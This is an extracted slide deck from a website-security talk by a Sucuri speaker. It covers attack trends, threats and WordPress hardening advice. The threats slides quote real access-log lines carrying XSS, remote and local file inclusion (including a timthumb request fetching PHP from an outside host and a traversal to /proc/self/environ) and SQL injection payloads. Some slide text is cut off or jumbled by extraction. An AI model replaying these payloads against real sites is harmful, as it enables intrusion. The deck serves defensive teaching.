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04/07/2023

# WHOIS PEREZBOX

Sucuri, Inc. @sucuri_security @perezbox

Specialization: Website Security Incident Handling

Special Interests: Brazilian JiuJitsu

Tony Perez | @perezbox | @sucuri_security 2

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Website Security Company

Global Operations

Platform Agnostic (i.e., Joomla, WordPress, etc..)

Scan 2M Unique Domains a Month

Block 4M web attacks a Month

Remediate 400 – 500 websites a day

Signature / Heuristic Based

24/7 operations


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Today’s Discussion

Trends Threats Defenses


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Trends


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2013 – Year of the Mega Breach


Data Breaches (Millions)

2011 2013

~230%

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Anatomy of Malicious Websites

Malicious WebsitesLegitimate Websites


85%

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Legitimate Websites

Not-ExploitableExploitable

77%


1 in 8 - Critical Vulnerability

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Ransomware Explosion

Ransomware

2012 2013


~500%

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Malware Distribution

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SPAM Injec

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Obfusc

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Java

Script

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Redire

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Deface

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Other

26%

19%16% 14%

11%

4%

10%


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Malicious Links


Malicious

Links

Social Media

Email Links Website

Text Messag

es

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Spear Phishing / Phishing Increase


93% Increase in 2013

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Beyond The Application Layer


Darkleech

Cdork (Apache

)

Ebury (SSH)

Email Server (SPAM)

Going Deeper than the application layer, targeting the server.

Server Polymorphism – a.k.a highly adaptive / sophistication

Heartbleed

(OpenSSL)

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HeartBleed


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Search Engine Poisoning (SEP) Pharmacy Payday Loans


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Automated Attacks

WP-ADMIN

Themes /

PluginsPayloa

d


Exploiting Access Control

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Soup Kitchen Servers


Site 1

Site 2Site 3

Site 4

Cross-Site Contamination

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Drive By Downloads


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Targeting Zero Days


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Targeting Mobile Devices


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Google is On Fire


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Brute Force Attacks


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Denial of Service (DOS)


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Brute Force vs Denial of Service


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Trust Erosion


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There’s a Tool for that Explosion in the Malware

as a Service (MaaS) trade Yes, pay someone to hack

for you

Different tools to break in and generate payloads Brute force and

vulnerability exploits Malware Payloads

Blackhole Exploit Author Arrested


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Exploit kit Market in Flux

25%

22%

9%1%10%

5%

11%

10%5% Neutrino

Unknown KitRedkitSweetOrangeStyxGlazunov/SibhostNuclearBlackhole/CoolOther


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Don’t Worry, Everyone is a “Target”


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Threats


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Anatomy of Web Attacks

Recon Identify Attack Decisions Sustain


Use for malware? Burrow into network? Steal data?

What kind of website do you have?

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Five Stages of an Attack


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Cross-Site Scripting (XSS)


38.123.140.6 - - [18/Feb/2013:18:23:23 -0500] "GET /cgi-bin/viewcvs.cgi/?cvsroot=<script>foo</script> HTTP/1.1" 302 227 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"

123.151.39.41 - - [18/Mar/2013:16:20:12 -0400] "GET /art/all/animals/%3C%2Fscript%3E%3Cimg+src%3D%40+onerror%3Dalert%287872%29+%2F%3E HTTP/1.1" 404 268

Stored Reflective

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iFrame Injections


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[02/Apr/2013:00:32:58 -0400] "GET /results/wp-content/themes/Convertible/timthumb.php?src=http%3A%2F%2Fflickr.easyneffective.com%2Fcrotz.php HTTP/1.1" 200 11983 "-" "Mozilla/5.0 (Windows NT 5.1; rv:11.0) Gecko/20100101 Firefox/11.0”

83.170.99.221 - - [03/Apr/2013:13:03:16 -0400] "GET /results/chinchedbistro.com&sa=U&ei=vGBcUYS1IcOaiQLxu4HIBg&ved=0CCYQFjAE&usg=AFQjCNFN1APEnX9-WPS337kMyPUz0yDM8A/wp-content/themes/vulcan/lib/scripts/thumb.php?src=http://wordpress.com.4creatus.com/info.php HTTP/1.1" 200 11983 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6”

82.98.131.101 - - [03/Apr/2013:12:59:56 -0400] "GET /?option=com_ckforms&controller=../../../../../../../../../../../../../../../../../../../../../../../..//proc/self/environ%0000 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6"

Remote / Local File Inclusion (RFI)


http://wordpress.com.4creatus.com/info.php

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SQL Injection


62.122.71.181 - - [03/Apr/2013:05:24:22 -0400] "GET //?malware-999.9+union+select+0-- HTTP/1.1" 200 26336 "-" "Mozilla/5.0 (Windows NT;en-us) Firefox/3.5.9”

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Spear Phishing


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Backdoors


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Free is not always Free http://blog.sucuri.net/2014/03/unmasking-free-pr

emium-wordpress-plugins.html


- SEOPresser- Payload located: wp-content/plugins/seo-pressor(gratuit)- File: central.class.php

- Flat Skins Pack Extension- Payload located: wp-content/restrict-content-pro/includes/- File: sidebar.php

- Restrict Content Pro- Paylaod located: wp-content/ubermenu-skins-flat

http://blog.sucuri.net/2014/03/unmasking-free-premium-wordpress-plugins.html



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What’s all this mean?

Brand Reputation Legal Implications Impact to Sales Blacklisted by

Search Engines Blacklisted by

Payment processors Worst Day Of your

Life


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Defenses


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Our Insight Come From

Sucuri properties suffer: ~125,000 web based

attacks a month on average

~4,000 attacks a day▪ This spikes on occasion

Doesn’t include server level attacks

All flavors of attacks


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Areas to Focus On

Principles Access Control Vulnerabilities


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Manage your expectations

“It’s about risk reduction… risk will never be zero…”


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Defense in Depth

“…a concept in which multiple layers of security controls (defenses) are placed throughout an information

technology (IT) system. Its intent is to provide redundancy in the event a

security control fails or a vulnerability is exploited…”


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Access – P@ssw0rd

Passwords


Complex – Long - Unique

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Sample Usernames Used


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Sample Passwords Used


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Access Control


• https://getclef.com/ | @getclef

https://getclef.com/

https://getclef.com/

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Principle of Least Privileged

“requires that in a particular abstraction layer of a computing

environment, every module (such as a process, a user or a program

depending on the subject) must be able to access only the information

and resources that are necessary for its legitimate purpose.”


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Disable PHP Execution


PHP Execution, disable it:

/wp-includes /wp-content /themes /plugins /uploads

<Files *.php>Deny from all</Files>

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Disable Plugin / Theme Editor WP-CONFIG File Modification

#Disable Plugin / Theme EditorDefine(‘DISALLOW_FILE_EDIT’,true);


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Ensure Integrity of Connection


• https://www.getcloak.com/ | @getcloak

https://www.getcloak.com/

https://www.getcloak.com/

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Please Backup


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Stay Current (Update)


NOT THAT HARD!!!!

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Software Vulnerabilities Stay current with the latest

vulnerabilities: Secure -

http://wordpress.org/plugins/secure/




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Brute Force Protection Local Protection

https://bruteprotect.com/ | @BruteProtect


https://bruteprotect.com/

https://bruteprotect.com/

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Website Firewalls


• Stay ahead of Software Vulnerabilities

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Biggest Weakness / Vulnerability


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Simple Steps to Risk Reduction


1. Employ Website Firewall

2. Don’t let WordPress write to itself

3. Filter Access by IP 4. Use a dedicated

server / VPS5. Monitor all Activity

(Logging)6. Enable SSL for

transactions7. Keep environment

current (patched)8. No Soup Kitchen

Servers

Ideal implementations:

1. Connect Securely – SFTP / SSH

2. Authentication Keys / wp-config

3. Use Trusted Sources4. Use a local Antivirus – MAC

too5. Permissions - D 755 | F 6446. Least Privileged Principles7. Accountability8. Backups – Include Database

The Bare Minimum:

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10 Stupid Mindsets / Actions1. Fix index.php file and assume all is fine.

2. Panic your way into WordPress Forums after hack.

3. Don’t worry about updating.

4. Trust third-party extensions.

5. Apply all upgrades on live site.

6. Install and forget, all is well with your new site.

7. Use the same username and password for everything.

8. Don’t waste time making security adjustments to PHP and settings.

9. No regular backups required.

10. Use the cheapest host.


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Notable Resources


Name Tool

Sucuri Blog http://blog.sucuri.net

Sucuri TV http://sucuri.tv

Malware Scanner http://sitecheck.sucuri.net

Malware Scanner http://unmaskparasites.com

Badware Busters https://badwarebusters.org

Google Forums http://productforums.google.com/forum/#!categories/webmasters/malware--hacked-sites Google Webmaster Tools http://support.google.com/webmasters/bin/answer.py?hl=en&answer=163633 Secunia Security Advisories http://secunia.com/community/advisories/search/?search=wordpress

Exploit-DB http://www.exploit-db.com/search/?action=search&filter_description=Wordpress&filter_platform=31 WordPress Hacked FAQ http://codex.wordpress.org/FAQ_My_site_was_hacked

WordPress Hardening http://codex.wordpress.org/Hardening_WordPress

http://blog.sucuri.net/

http://sucuri.tv/

http://sitecheck.sucuri.net/

http://unmaskparasites.com/

https://badwarebusters.org/

http://productforums.google.com/forum/%23!categories/webmasters/malware--hacked-sites

http://productforums.google.com/forum/%23!categories/webmasters/malware--hacked-sites

http://support.google.com/webmasters/bin/answer.py?hl=en&answer=163633

http://support.google.com/webmasters/bin/answer.py?hl=en&answer=163633

http://secunia.com/community/advisories/search/?search=wordpress




http://www.exploit-db.com/search/?action=search&filter_description=Wordpress&filter_platform=31

http://www.exploit-db.com/search/?action=search&filter_description=Wordpress&filter_platform=31

http://codex.wordpress.org/FAQ_My_site_was_hacked

http://codex.wordpress.org/Hardening_WordPress

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Questions?


Sucuri, Inc.Tony Perez

http://sucuri.nethttp://blog.sucuri.net

@perezbox | @sucuri_security

Slides: http://www.slideshare.net/perezbox/website-security-its-about-the-basics-wordpress-

2014

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